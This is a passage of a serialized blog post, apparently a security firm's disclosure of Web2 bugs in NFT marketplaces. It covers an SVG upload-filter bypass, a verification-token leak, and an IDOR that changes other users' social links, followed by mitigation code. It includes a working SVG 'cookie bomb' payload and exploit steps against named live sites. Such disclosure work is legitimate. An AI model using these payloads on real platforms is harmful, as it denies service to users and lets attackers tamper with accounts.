\u003C/",{"type":22,"tag":264,"props":35683,"children":35684},{"style":4293},[35685],{"type":27,"value":33731},{"type":22,"tag":264,"props":35687,"children":35688},{"style":33691},[35689],{"type":27,"value":7284},{"type":22,"tag":264,"props":35691,"children":35692},{"class":1534,"line":1629},[35693,35698,35702],{"type":22,"tag":264,"props":35694,"children":35695},{"style":33691},[35696],{"type":27,"value":35697}," \u003C/",{"type":22,"tag":264,"props":35699,"children":35700},{"style":4293},[35701],{"type":27,"value":2968},{"type":22,"tag":264,"props":35703,"children":35704},{"style":33691},[35705],{"type":27,"value":7284},{"type":22,"tag":23,"props":35707,"children":35708},{},[35709,35711,35718],{"type":27,"value":35710},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":22,"tag":69,"props":35712,"children":35715},{"href":35713,"rel":35714},"https://xtingles.com/",[73],[35716],{"type":27,"value":35717},"xtingles Marketplace",{"type":27,"value":210},{"type":22,"tag":23,"props":35720,"children":35721},{},[35722],{"type":27,"value":35723},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":22,"tag":23,"props":35725,"children":35726},{},[35727],{"type":27,"value":35728},"Below, we show you how we did it.",{"type":22,"tag":23,"props":35730,"children":35731},{},[35732],{"type":27,"value":35733},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":22,"tag":23,"props":35735,"children":35736},{},[35737],{"type":22,"tag":215,"props":35738,"children":35740},{"alt":7,"src":35739},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":22,"tag":23,"props":35742,"children":35743},{},[35744],{"type":27,"value":35745},"After changing the extension inside the file name.",{"type":22,"tag":23,"props":35747,"children":35748},{},[35749],{"type":22,"tag":215,"props":35750,"children":35752},{"alt":7,"src":35751},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":22,"tag":181,"props":35754,"children":35756},{"id":35755},"svgs-return",[35757],{"type":27,"value":35758},"SVGs Return",{"type":22,"tag":23,"props":35760,"children":35761},{},[35762],{"type":27,"value":35763},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":22,"tag":23,"props":35765,"children":35766},{},[35767],{"type":27,"value":35768},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":22,"tag":23,"props":35770,"children":35771},{},[35772],{"type":27,"value":35773},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":22,"tag":618,"props":35775,"children":35779},{"className":35776,"code":35777,"language":35778,"meta":7,"style":7},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n   var Set_Cookie = Array(10000).join('a');\n\n   for (var i = 1; i \u003C 99; i++) {\n    document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n   }\n   \u003C/script>\n \u003C/svg>\n","jsx",[35780],{"type":22,"tag":257,"props":35781,"children":35782},{"__ignoreMap":7},[35783,35822,35853,35860,35887,35918,35945,35953,35961,35968,35980,36055,36063,36078],{"type":22,"tag":264,"props":35784,"children":35785},{"class":1534,"line":1535},[35786,35790,35794,35798,35802,35806,35810,35814,35818],{"type":22,"tag":264,"props":35787,"children":35788},{"style":4309},[35789],{"type":27,"value":35494},{"type":22,"tag":264,"props":35791,"children":35792},{"style":1549},[35793],{"type":27,"value":35499},{"type":22,"tag":264,"props":35795,"children":35796},{"style":1549},[35797],{"type":27,"value":35504},{"type":22,"tag":264,"props":35799,"children":35800},{"style":4309},[35801],{"type":27,"value":429},{"type":22,"tag":264,"props":35803,"children":35804},{"style":1597},[35805],{"type":27,"value":35513},{"type":22,"tag":264,"props":35807,"children":35808},{"style":1549},[35809],{"type":27,"value":35518},{"type":22,"tag":264,"props":35811,"children":35812},{"style":4309},[35813],{"type":27,"value":429},{"type":22,"tag":264,"props":35815,"children":35816},{"style":1597},[35817],{"type":27,"value":35527},{"type":22,"tag":264,"props":35819,"children":35820},{"style":4309},[35821],{"type":27,"value":35532},{"type":22,"tag":264,"props":35823,"children":35824},{"class":1534,"line":1545},[35825,35829,35833,35837,35841,35845,35849],{"type":22,"tag":264,"props":35826,"children":35827},{"style":4309},[35828],{"type":27,"value":35540},{"type":22,"tag":264,"props":35830,"children":35831},{"style":1549},[35832],{"type":27,"value":35545},{"type":22,"tag":264,"props":35834,"children":35835},{"style":1549},[35836],{"type":27,"value":35550},{"type":22,"tag":264,"props":35838,"children":35839},{"style":1549},[35840],{"type":27,"value":35555},{"type":22,"tag":264,"props":35842,"children":35843},{"style":1597},[35844],{"type":27,"value":35560},{"type":22,"tag":264,"props":35846,"children":35847},{"style":1597},[35848],{"type":27,"value":35565},{"type":22,"tag":264,"props":35850,"children":35851},{"style":4309},[35852],{"type":27,"value":7284},{"type":22,"tag":264,"props":35854,"children":35855},{"class":1534,"line":1560},[35856],{"type":22,"tag":264,"props":35857,"children":35858},{"emptyLinePlaceholder":17},[35859],{"type":27,"value":4986},{"type":22,"tag":264,"props":35861,"children":35862},{"class":1534,"line":1569},[35863,35867,35871,35875,35879,35883],{"type":22,"tag":264,"props":35864,"children":35865},{"style":33691},[35866],{"type":27,"value":10014},{"type":22,"tag":264,"props":35868,"children":35869},{"style":4293},[35870],{"type":27,"value":2968},{"type":22,"tag":264,"props":35872,"children":35873},{"style":1549},[35874],{"type":27,"value":35592},{"type":22,"tag":264,"props":35876,"children":35877},{"style":4309},[35878],{"type":27,"value":429},{"type":22,"tag":264,"props":35880,"children":35881},{"style":1597},[35882],{"type":27,"value":35601},{"type":22,"tag":264,"props":35884,"children":35885},{"style":33691},[35886],{"type":27,"value":7284},{"type":22,"tag":264,"props":35888,"children":35889},{"class":1534,"line":1583},[35890,35894,35898,35902,35906,35910,35914],{"type":22,"tag":264,"props":35891,"children":35892},{"style":33691},[35893],{"type":27,"value":33710},{"type":22,"tag":264,"props":35895,"children":35896},{"style":4293},[35897],{"type":27,"value":35617},{"type":22,"tag":264,"props":35899,"children":35900},{"style":33691},[35901],{"type":27,"value":11760},{"type":22,"tag":264,"props":35903,"children":35904},{"style":1539},[35905],{"type":27,"value":32552},{"type":22,"tag":264,"props":35907,"children":35908},{"style":33691},[35909],{"type":27,"value":33745},{"type":22,"tag":264,"props":35911,"children":35912},{"style":4293},[35913],{"type":27,"value":35617},{"type":22,"tag":264,"props":35915,"children":35916},{"style":33691},[35917],{"type":27,"value":7284},{"type":22,"tag":264,"props":35919,"children":35920},{"class":1534,"line":1603},[35921,35925,35929,35933,35937,35941],{"type":22,"tag":264,"props":35922,"children":35923},{"style":33691},[35924],{"type":27,"value":33710},{"type":22,"tag":264,"props":35926,"children":35927},{"style":4293},[35928],{"type":27,"value":33731},{"type":22,"tag":264,"props":35930,"children":35931},{"style":1549},[35932],{"type":27,"value":33856},{"type":22,"tag":264,"props":35934,"children":35935},{"style":4309},[35936],{"type":27,"value":429},{"type":22,"tag":264,"props":35938,"children":35939},{"style":1597},[35940],{"type":27,"value":35661},{"type":22,"tag":264,"props":35942,"children":35943},{"style":33691},[35944],{"type":27,"value":7284},{"type":22,"tag":264,"props":35946,"children":35947},{"class":1534,"line":1612},[35948],{"type":22,"tag":264,"props":35949,"children":35950},{"style":1539},[35951],{"type":27,"value":35952},"   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":22,"tag":264,"props":35954,"children":35955},{"class":1534,"line":1621},[35956],{"type":22,"tag":264,"props":35957,"children":35958},{"style":1539},[35959],{"type":27,"value":35960},"   var Set_Cookie = Array(10000).join('a');\n",{"type":22,"tag":264,"props":35962,"children":35963},{"class":1534,"line":1629},[35964],{"type":22,"tag":264,"props":35965,"children":35966},{"emptyLinePlaceholder":17},[35967],{"type":27,"value":4986},{"type":22,"tag":264,"props":35969,"children":35970},{"class":1534,"line":1642},[35971,35976],{"type":22,"tag":264,"props":35972,"children":35973},{"style":1539},[35974],{"type":27,"value":35975},"   for (var i = 1; i \u003C 99; i++) ",{"type":22,"tag":264,"props":35977,"children":35978},{"style":4293},[35979],{"type":27,"value":1542},{"type":22,"tag":264,"props":35981,"children":35982},{"class":1534,"line":1660},[35983,35988,35992,35997,36001,36006,36011,36015,36019,36024,36028,36033,36037,36042,36046,36051],{"type":22,"tag":264,"props":35984,"children":35985},{"style":1549},[35986],{"type":27,"value":35987},"    document",{"type":22,"tag":264,"props":35989,"children":35990},{"style":4309},[35991],{"type":27,"value":210},{"type":22,"tag":264,"props":35993,"children":35994},{"style":1549},[35995],{"type":27,"value":35996},"cookie",{"type":22,"tag":264,"props":35998,"children":35999},{"style":4309},[36000],{"type":27,"value":34227},{"type":22,"tag":264,"props":36002,"children":36003},{"style":1597},[36004],{"type":27,"value":36005},"'Cookie'",{"type":22,"tag":264,"props":36007,"children":36008},{"style":4309},[36009],{"type":27,"value":36010}," + ",{"type":22,"tag":264,"props":36012,"children":36013},{"style":1549},[36014],{"type":27,"value":5050},{"type":22,"tag":264,"props":36016,"children":36017},{"style":4309},[36018],{"type":27,"value":36010},{"type":22,"tag":264,"props":36020,"children":36021},{"style":1597},[36022],{"type":27,"value":36023},"'='",{"type":22,"tag":264,"props":36025,"children":36026},{"style":4309},[36027],{"type":27,"value":36010},{"type":22,"tag":264,"props":36029,"children":36030},{"style":1549},[36031],{"type":27,"value":36032},"Set_Cookie",{"type":22,"tag":264,"props":36034,"children":36035},{"style":4309},[36036],{"type":27,"value":36010},{"type":22,"tag":264,"props":36038,"children":36039},{"style":1597},[36040],{"type":27,"value":36041},"';Domain='",{"type":22,"tag":264,"props":36043,"children":36044},{"style":4309},[36045],{"type":27,"value":36010},{"type":22,"tag":264,"props":36047,"children":36048},{"style":1549},[36049],{"type":27,"value":36050},"Take_Domain",{"type":22,"tag":264,"props":36052,"children":36053},{"style":4309},[36054],{"type":27,"value":4322},{"type":22,"tag":264,"props":36056,"children":36057},{"class":1534,"line":1668},[36058],{"type":22,"tag":264,"props":36059,"children":36060},{"style":4293},[36061],{"type":27,"value":36062},"   }\n",{"type":22,"tag":264,"props":36064,"children":36065},{"class":1534,"line":1677},[36066,36070,36074],{"type":22,"tag":264,"props":36067,"children":36068},{"style":33691},[36069],{"type":27,"value":35681},{"type":22,"tag":264,"props":36071,"children":36072},{"style":4293},[36073],{"type":27,"value":33731},{"type":22,"tag":264,"props":36075,"children":36076},{"style":33691},[36077],{"type":27,"value":7284},{"type":22,"tag":264,"props":36079,"children":36080},{"class":1534,"line":1686},[36081,36085,36089],{"type":22,"tag":264,"props":36082,"children":36083},{"style":33691},[36084],{"type":27,"value":35697},{"type":22,"tag":264,"props":36086,"children":36087},{"style":4293},[36088],{"type":27,"value":2968},{"type":22,"tag":264,"props":36090,"children":36091},{"style":33691},[36092],{"type":27,"value":7284},{"type":22,"tag":23,"props":36094,"children":36095},{},[36096],{"type":27,"value":36097},"As a result, we're able to prevent the user from loading images.",{"type":22,"tag":169,"props":36099,"children":36101},{"id":36100},"authentication",[36102],{"type":27,"value":36103},"Authentication",{"type":22,"tag":23,"props":36105,"children":36106},{},[36107],{"type":22,"tag":1699,"props":36108,"children":36109},{},[36110,36112,36119],{"type":27,"value":36111},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":22,"tag":69,"props":36113,"children":36116},{"href":36114,"rel":36115},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[73],[36117],{"type":27,"value":36118},"great misfortune has occured",{"type":27,"value":210},{"type":22,"tag":181,"props":36121,"children":36123},{"id":36122},"verification-token-leakage",[36124],{"type":27,"value":36125},"Verification Token Leakage",{"type":22,"tag":23,"props":36127,"children":36128},{},[36129],{"type":27,"value":36130},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":22,"tag":23,"props":36132,"children":36133},{},[36134],{"type":27,"value":36135},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":22,"tag":23,"props":36137,"children":36138},{},[36139,36144],{"type":22,"tag":1699,"props":36140,"children":36141},{},[36142],{"type":27,"value":36143},"Proof of Concept",{"type":27,"value":36145},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":22,"tag":23,"props":36147,"children":36148},{},[36149],{"type":27,"value":36150},"Here's the breakdown.",{"type":22,"tag":23,"props":36152,"children":36153},{},[36154],{"type":27,"value":36155},"First, we send the verification link to a user's email:",{"type":22,"tag":32661,"props":36157,"children":36158},{"style":32663},[36159],{"type":22,"tag":215,"props":36160,"children":36164},{"src":36161,"alt":36162,"style":36163},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":22,"tag":23,"props":36166,"children":36167},{},[36168],{"type":27,"value":36169},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":22,"tag":181,"props":36171,"children":36173},{"id":36172},"idor",[36174],{"type":27,"value":36175},"IDOR",{"type":22,"tag":23,"props":36177,"children":36178},{},[36179],{"type":22,"tag":1699,"props":36180,"children":36181},{},[36182,36184,36191],{"type":27,"value":36183},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":22,"tag":69,"props":36185,"children":36188},{"href":36186,"rel":36187},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[73],[36189],{"type":27,"value":36190},"insect",{"type":27,"value":210},{"type":22,"tag":23,"props":36193,"children":36194},{},[36195,36197,36203],{"type":27,"value":36196},"During a security assessment of the ",{"type":22,"tag":69,"props":36198,"children":36201},{"href":36199,"rel":36200},"https://rocki.com",[73],[36202],{"type":27,"value":32599},{"type":27,"value":36204},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":22,"tag":23,"props":36206,"children":36207},{},[36208],{"type":27,"value":36209},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":22,"tag":23,"props":36211,"children":36212},{},[36213],{"type":27,"value":36214},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":22,"tag":23,"props":36216,"children":36217},{},[36218,36220,36226,36228,36233],{"type":27,"value":36219},"Here is an example of a request that modifies another user's social media link to ",{"type":22,"tag":257,"props":36221,"children":36223},{"className":36222},[],[36224],{"type":27,"value":36225},"https://evil.com/",{"type":27,"value":36227},". To achieve this, we simply changed the ",{"type":22,"tag":257,"props":36229,"children":36231},{"className":36230},[],[36232],{"type":27,"value":4790},{"type":27,"value":36234}," field value to one that belongs to another user:",{"type":22,"tag":23,"props":36236,"children":36237},{},[36238],{"type":22,"tag":215,"props":36239,"children":36241},{"alt":7,"src":36240},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":22,"tag":23,"props":36243,"children":36244},{},[36245],{"type":27,"value":36246},"The following screenshot is the response to our request:",{"type":22,"tag":23,"props":36248,"children":36249},{},[36250],{"type":22,"tag":215,"props":36251,"children":36253},{"alt":7,"src":36252},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":22,"tag":169,"props":36255,"children":36257},{"id":36256},"preventative-action-steps-for-marketplaces",[36258],{"type":22,"tag":242,"props":36259,"children":36260},{},[36261],{"type":27,"value":36262},"Preventative Action Steps for Marketplaces",{"type":22,"tag":23,"props":36264,"children":36265},{},[36266],{"type":27,"value":36267},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":22,"tag":23,"props":36269,"children":36270},{},[36271,36273,36279,36281,36287],{"type":27,"value":36272},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":22,"tag":257,"props":36274,"children":36276},{"className":36275},[],[36277],{"type":27,"value":36278},"innerText",{"type":27,"value":36280}," instead of ",{"type":22,"tag":257,"props":36282,"children":36284},{"className":36283},[],[36285],{"type":27,"value":36286},"innerHTML",{"type":27,"value":36288}," in client-side:",{"type":22,"tag":618,"props":36290,"children":36292},{"className":32678,"code":36291,"language":32680,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = nftCollectionName;\n",[36293],{"type":22,"tag":257,"props":36294,"children":36295},{"__ignoreMap":7},[36296],{"type":22,"tag":264,"props":36297,"children":36298},{"class":1534,"line":1535},[36299,36303,36307,36312,36316,36321,36325,36329,36333,36338],{"type":22,"tag":264,"props":36300,"children":36301},{"style":1549},[36302],{"type":27,"value":34023},{"type":22,"tag":264,"props":36304,"children":36305},{"style":1539},[36306],{"type":27,"value":210},{"type":22,"tag":264,"props":36308,"children":36309},{"style":4401},[36310],{"type":27,"value":36311},"getElementById",{"type":22,"tag":264,"props":36313,"children":36314},{"style":1539},[36315],{"type":27,"value":2660},{"type":22,"tag":264,"props":36317,"children":36318},{"style":1597},[36319],{"type":27,"value":36320},"'nftCollectionName'",{"type":22,"tag":264,"props":36322,"children":36323},{"style":1539},[36324],{"type":27,"value":22049},{"type":22,"tag":264,"props":36326,"children":36327},{"style":1549},[36328],{"type":27,"value":36278},{"type":22,"tag":264,"props":36330,"children":36331},{"style":4309},[36332],{"type":27,"value":4312},{"type":22,"tag":264,"props":36334,"children":36335},{"style":1549},[36336],{"type":27,"value":36337}," nftCollectionName",{"type":22,"tag":264,"props":36339,"children":36340},{"style":1539},[36341],{"type":27,"value":4322},{"type":22,"tag":23,"props":36343,"children":36344},{},[36345],{"type":27,"value":36346},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":22,"tag":618,"props":36348,"children":36350},{"className":32678,"code":36349,"language":32680,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[36351],{"type":22,"tag":257,"props":36352,"children":36353},{"__ignoreMap":7},[36354],{"type":22,"tag":264,"props":36355,"children":36356},{"class":1534,"line":1535},[36357,36362,36367,36371,36376,36380,36385,36389,36394],{"type":22,"tag":264,"props":36358,"children":36359},{"style":4293},[36360],{"type":27,"value":36361},"var",{"type":22,"tag":264,"props":36363,"children":36364},{"style":1549},[36365],{"type":27,"value":36366}," sanitizedInput",{"type":22,"tag":264,"props":36368,"children":36369},{"style":4309},[36370],{"type":27,"value":4312},{"type":22,"tag":264,"props":36372,"children":36373},{"style":1549},[36374],{"type":27,"value":36375}," DOMPurify",{"type":22,"tag":264,"props":36377,"children":36378},{"style":1539},[36379],{"type":27,"value":210},{"type":22,"tag":264,"props":36381,"children":36382},{"style":4401},[36383],{"type":27,"value":36384},"sanitize",{"type":22,"tag":264,"props":36386,"children":36387},{"style":1539},[36388],{"type":27,"value":2660},{"type":22,"tag":264,"props":36390,"children":36391},{"style":1549},[36392],{"type":27,"value":36393},"userInput",{"type":22,"tag":264,"props":36395,"children":36396},{"style":1539},[36397],{"type":27,"value":5142},{"type":22,"tag":23,"props":36399,"children":36400},{},[36401,36403,36410],{"type":27,"value":36402},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":22,"tag":69,"props":36404,"children":36407},{"href":36405,"rel":36406},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[73],[36408],{"type":27,"value":36409},"Content-Security-Policy",{"type":27,"value":36411}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":22,"tag":23,"props":36413,"children":36414},{},[36415],{"type":27,"value":36416},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":22,"tag":23,"props":36418,"children":36419},{},[36420,36422,36429],{"type":27,"value":36421},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":22,"tag":69,"props":36423,"children":36426},{"href":36424,"rel":36425},"https://www.techtarget.com/whatis/definition/whitelist",[73],[36427],{"type":27,"value":36428},"allow-list",{"type":27,"value":36430}," :",{"type":22,"tag":618,"props":36432,"children":36434},{"className":32678,"code":36433,"language":32680,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n  throw new ApolloError('invalid domain');\n}\n",[36435],{"type":22,"tag":257,"props":36436,"children":36437},{"__ignoreMap":7},[36438,36467,36509,36539],{"type":22,"tag":264,"props":36439,"children":36440},{"class":1534,"line":1535},[36441,36445,36450,36454,36458,36463],{"type":22,"tag":264,"props":36442,"children":36443},{"style":4293},[36444],{"type":27,"value":10953},{"type":22,"tag":264,"props":36446,"children":36447},{"style":1549},[36448],{"type":27,"value":36449}," allowDomains",{"type":22,"tag":264,"props":36451,"children":36452},{"style":4309},[36453],{"type":27,"value":4312},{"type":22,"tag":264,"props":36455,"children":36456},{"style":1539},[36457],{"type":27,"value":24333},{"type":22,"tag":264,"props":36459,"children":36460},{"style":1597},[36461],{"type":27,"value":36462},"'https://allowed-domain'",{"type":22,"tag":264,"props":36464,"children":36465},{"style":1539},[36466],{"type":27,"value":32889},{"type":22,"tag":264,"props":36468,"children":36469},{"class":1534,"line":1545},[36470,36474,36478,36482,36487,36491,36496,36500,36504],{"type":22,"tag":264,"props":36471,"children":36472},{"style":4328},[36473],{"type":27,"value":16879},{"type":22,"tag":264,"props":36475,"children":36476},{"style":1539},[36477],{"type":27,"value":4370},{"type":22,"tag":264,"props":36479,"children":36480},{"style":4309},[36481],{"type":27,"value":21928},{"type":22,"tag":264,"props":36483,"children":36484},{"style":1549},[36485],{"type":27,"value":36486},"allowDomains",{"type":22,"tag":264,"props":36488,"children":36489},{"style":1539},[36490],{"type":27,"value":210},{"type":22,"tag":264,"props":36492,"children":36493},{"style":4401},[36494],{"type":27,"value":36495},"includes",{"type":22,"tag":264,"props":36497,"children":36498},{"style":1539},[36499],{"type":27,"value":2660},{"type":22,"tag":264,"props":36501,"children":36502},{"style":1549},[36503],{"type":27,"value":34033},{"type":22,"tag":264,"props":36505,"children":36506},{"style":1539},[36507],{"type":27,"value":36508},")) {\n",{"type":22,"tag":264,"props":36510,"children":36511},{"class":1534,"line":1560},[36512,36517,36521,36526,36530,36535],{"type":22,"tag":264,"props":36513,"children":36514},{"style":4328},[36515],{"type":27,"value":36516},"  throw",{"type":22,"tag":264,"props":36518,"children":36519},{"style":4293},[36520],{"type":27,"value":33248},{"type":22,"tag":264,"props":36522,"children":36523},{"style":4401},[36524],{"type":27,"value":36525}," ApolloError",{"type":22,"tag":264,"props":36527,"children":36528},{"style":1539},[36529],{"type":27,"value":2660},{"type":22,"tag":264,"props":36531,"children":36532},{"style":1597},[36533],{"type":27,"value":36534},"'invalid domain'",{"type":22,"tag":264,"props":36536,"children":36537},{"style":1539},[36538],{"type":27,"value":5142},{"type":22,"tag":264,"props":36540,"children":36541},{"class":1534,"line":1569},[36542],{"type":22,"tag":264,"props":36543,"children":36544},{"style":1539},[36545],{"type":27,"value":1692},{"type":22,"tag":23,"props":36547,"children":36548},{},[36549,36551,36558,36560,36567],{"type":27,"value":36550},"As ",{"type":22,"tag":69,"props":36552,"children":36555},{"href":36553,"rel":36554},"https://graphql.org/",[73],[36556],{"type":27,"value":36557},"GraphQl",{"type":27,"value":36559}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":22,"tag":69,"props":36561,"children":36564},{"href":36562,"rel":36563},"https://graphql.org/learn/introspection/",[73],[36565],{"type":27,"value":36566},"introspection",{"type":27,"value":36568}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":22,"tag":618,"props":36570,"children":36572},{"className":32678,"code":36571,"language":32680,"meta":7,"style":7},"const server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  introspection: false,\n});\n",[36573],{"type":22,"tag":257,"props":36574,"children":36575},{"__ignoreMap":7},[36576,36605,36617,36629,36645],{"type":22,"tag":264,"props":36577,"children":36578},{"class":1534,"line":1535},[36579,36583,36588,36592,36596,36601],{"type":22,"tag":264,"props":36580,"children":36581},{"style":4293},[36582],{"type":27,"value":10953},{"type":22,"tag":264,"props":36584,"children":36585},{"style":1549},[36586],{"type":27,"value":36587}," server",{"type":22,"tag":264,"props":36589,"children":36590},{"style":4309},[36591],{"type":27,"value":4312},{"type":22,"tag":264,"props":36593,"children":36594},{"style":4293},[36595],{"type":27,"value":33248},{"type":22,"tag":264,"props":36597,"children":36598},{"style":4401},[36599],{"type":27,"value":36600}," ApolloServer",{"type":22,"tag":264,"props":36602,"children":36603},{"style":1539},[36604],{"type":27,"value":16440},{"type":22,"tag":264,"props":36606,"children":36607},{"class":1534,"line":1545},[36608,36613],{"type":22,"tag":264,"props":36609,"children":36610},{"style":1549},[36611],{"type":27,"value":36612},"  typeDefs",{"type":22,"tag":264,"props":36614,"children":36615},{"style":1539},[36616],{"type":27,"value":4812},{"type":22,"tag":264,"props":36618,"children":36619},{"class":1534,"line":1560},[36620,36625],{"type":22,"tag":264,"props":36621,"children":36622},{"style":1549},[36623],{"type":27,"value":36624},"  resolvers",{"type":22,"tag":264,"props":36626,"children":36627},{"style":1539},[36628],{"type":27,"value":4812},{"type":22,"tag":264,"props":36630,"children":36631},{"class":1534,"line":1569},[36632,36637,36641],{"type":22,"tag":264,"props":36633,"children":36634},{"style":1549},[36635],{"type":27,"value":36636},"  introspection:",{"type":22,"tag":264,"props":36638,"children":36639},{"style":4293},[36640],{"type":27,"value":10354},{"type":22,"tag":264,"props":36642,"children":36643},{"style":1539},[36644],{"type":27,"value":4812},{"type":22,"tag":264,"props":36646,"children":36647},{"class":1534,"line":1583},[36648],{"type":22,"tag":264,"props":36649,"children":36650},{"style":1539},[36651],{"type":27,"value":36652},"});\n",{"type":22,"tag":23,"props":36654,"children":36655},{},[36656,36658,36665,36667,36674],{"type":27,"value":36657},"Similarly, when ",{"type":22,"tag":69,"props":36659,"children":36662},{"href":36660,"rel":36661},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[73],[36663],{"type":27,"value":36664},"batching",{"type":27,"value":36666}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":22,"tag":69,"props":36668,"children":36671},{"href":36669,"rel":36670},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[73],[36672],{"type":27,"value":36673},"denial-of-service",{"type":27,"value":36675}," (DoS) attacks.",{"type":22,"tag":23,"props":36677,"children":36678},{},[36679],{"type":27,"value":36680},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":22,"tag":23,"props":36682,"children":36683},{},[36684],{"type":27,"value":36685},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":22,"tag":36687,"props":36688,"children":36689},"h1",{"id":30246},[36690],{"type":27,"value":20252},{"type":22,"tag":23,"props":36692,"children":36693},{},[36694],{"type":27,"value":36695},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":22,"tag":23,"props":36697,"children":36698},{},[36699],{"type":27,"value":36700},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":22,"tag":169,"props":36702,"children":36704},{"id":36703},"disclaimer",[36705],{"type":27,"value":36706},"Disclaimer",{"type":22,"tag":23,"props":36708,"children":36709},{},[36710],{"type":27,"value":36711},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this 